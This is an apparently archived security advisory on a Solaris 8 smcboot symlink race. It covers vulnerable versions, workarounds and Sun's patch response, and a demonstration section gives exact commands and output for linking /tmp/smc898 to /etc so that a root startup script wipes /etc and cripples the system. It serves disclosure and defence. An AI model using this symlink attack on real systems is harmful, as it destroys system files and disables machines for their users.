|
Brought to you by:
Suppliers of:
|
|
|
| |
| The smcboot is a small proxy server used by the Sun Management Console Server in order to receive management connections. The smcboot startup procedure in certain hardware releases of Solaris 8 contains a security hole that can lead to a local denial of service and can leave the target system crippled. |
| |
Credit:
The information has been provided by echo8.
|
| |
Vulnerable versions:
Solaris 8, Hardware 4/01 and 1/01 (Part of the Solaris Management Console 2.0)
Immune versions:
Solaris 8, original release, Hardware 10/00.
The version of smcboot that ships with Solaris 9 Beta exhibits the same insecure behavior, but as it writes its temporary files to /var/run (which is not world-writeable), so it doesn't seem vulnerable to the described attack.
Versions of Solaris prior to Solaris 8 are not vulnerable, as they do not contain the product in question.
Details:
Out of the box, one of the startup scripts that are executed upon boot on the affected Solaris releases is /etc/rc2.d/S90wbem. That script contains the following block of code:
SMC_PORT=`getent services ftp | cut -d' ' -f1`
if [ -n "$SMC_PORT" ]; then
SMC_PORT=898
fi
Later, the script calls smcboot:
if [ -n "$VIPER_HOME" ]; then
$VIPER_HOME/bin/smcboot
else
Apparently, smcboot uses /tmp/smc$SMC_PORT as the directory in which it keeps its PID file and possibly other state-keeping information. This is speculation, but is strengthened by the code in the rest of the startup script, which references that directory in the context of shutting the service down, and by the observable behavior of smcboot:
if [ -n "$VIPER_HOME" ]; then
if [ -f /tmp/smc$SMC_PORT/boot.pid ]; then
kill -TERM `cat /tmp/smc$SMC_PORT/boot.pid`
else
$VIPER_HOME/bin/smcserver -p $SMC_PORT stop
fi
...
In any event, the smcboot process runs as root, does not properly handle the existence of /tmp/smc$SMC_PORT if it already exists, and apparently removes files in its target directory. Thus, it can be forced to remove arbitrary files under the right conditions. Because /tmp is world-writable and cleared at boot time, an unprivileged user who symbolically links /tmp/smc$SMC_PORT to an arbitrary directory early during the boot cycle (before S90wbem runs) can severely damage the contents of that target directory.
In order to execute this attack, the user would have to be able to create the link between the time that the system boots (when /tmp is cleared) and when S90wbem starts. As S90wbem runs after S72inetsvc and S75cron, a narrow window exists in which a malicious user could log on to the system (or during which a pre-submitted cron job could run) and symbolically link /tmp/smc$SMC_PORT to a target directory. When S90wbem runs, the non-directory contents of the target directory will be destroyed.
The problem is made easier to exploit by anything that slows down the boot process at the right spot (for example, if S75savecore has a large core dump to write out). The hole could be exploitable (e.g. if smcboot is disabled by default, but a sysadmin decides to manually start it under other conditions).
Almost no documentation whatsoever can be found on WBEM or smcboot on Sunsolve, both on the public and customer (restricted access) web sites. We will assume from the name of the process that this is a component of the Sun Management Console.
Demonstration:
// IF YOU FOLLOW THIS PROCEDURE EXACTLY, YOU WILL CRIPPLE YOUR SYSTEM.
// YOU HAVE BEEN WARNED!!!
// this assumes that smcboot is not running, for the sake of simplicity.
$ cd /tmp
$ id
uid=60001(nobody) gid=60001(nobody)
$ pwd
/tmp
$ ln -s /etc smc898
$ ls -alt smc898
lrwxrwxrwx 1 nobody nobody 4 Sep 1 11:54 smc898 -> /etc
// now, we'll manually run /etc/rc2.d/S90wbem, as root, as the boot
// process ordinarily would.
# id
uid=0(root) gid=1(other)
# /etc/rc2.d/S90wbem start
stat: No such file or directory
stat: No such file or directory
stat: No such file or directory
mkdir: File exists
...
#
INIT: Cannot stat /etc/inittab, errno: 2
// as a result of the attack, we've pretty much wiped out everything in
// /etc...
# ls /etc
TIMEZONE inetd.conf mnttab protocols services
aliases log netmasks rc2.d sock2path
hosts lp networks security
#
INIT: Cannot stat /etc/inittab, errno: 2
Sep 1 16:01:25 foo init[1]: open_pam_conf: stat(/etc/pam.conf) failed:
No such file or directory
Sep 1 16:01:25 foo init[1]: open_pam_conf: stat(/etc/pam.conf) failed:
No such file or directory
INIT: SINGLE USER MODE
INIT: execle of /etc/sulogin failed; errno = 2
ENTER RUN LEVEL (0-6, s or S) [3]:
// This system is now wrecked. Restoration of files from backup will be
// necessary to fix the damage we have caused.
Workarounds:
Disable /etc/rc2.d/S90wbem. This will (obviously) remove whatever functionality the service provides.
Alternatively, the startup script could be made to run earlier in the Solaris startup process, so that it executes before inetd starts or the cron service becomes available.
Vendor response:
Sun was notified on 9/4/2001. They assigned a BugID (available upon request) and were able to readily reproduce the problem. T-patches (beta) have been produced to address the issue. They are T109134-24 for Sparc and T109135-24 for x86. They are available through your Sun rep. Production patches are scheduled for release sometime around 10/1/2001.
|
|
|
|
|
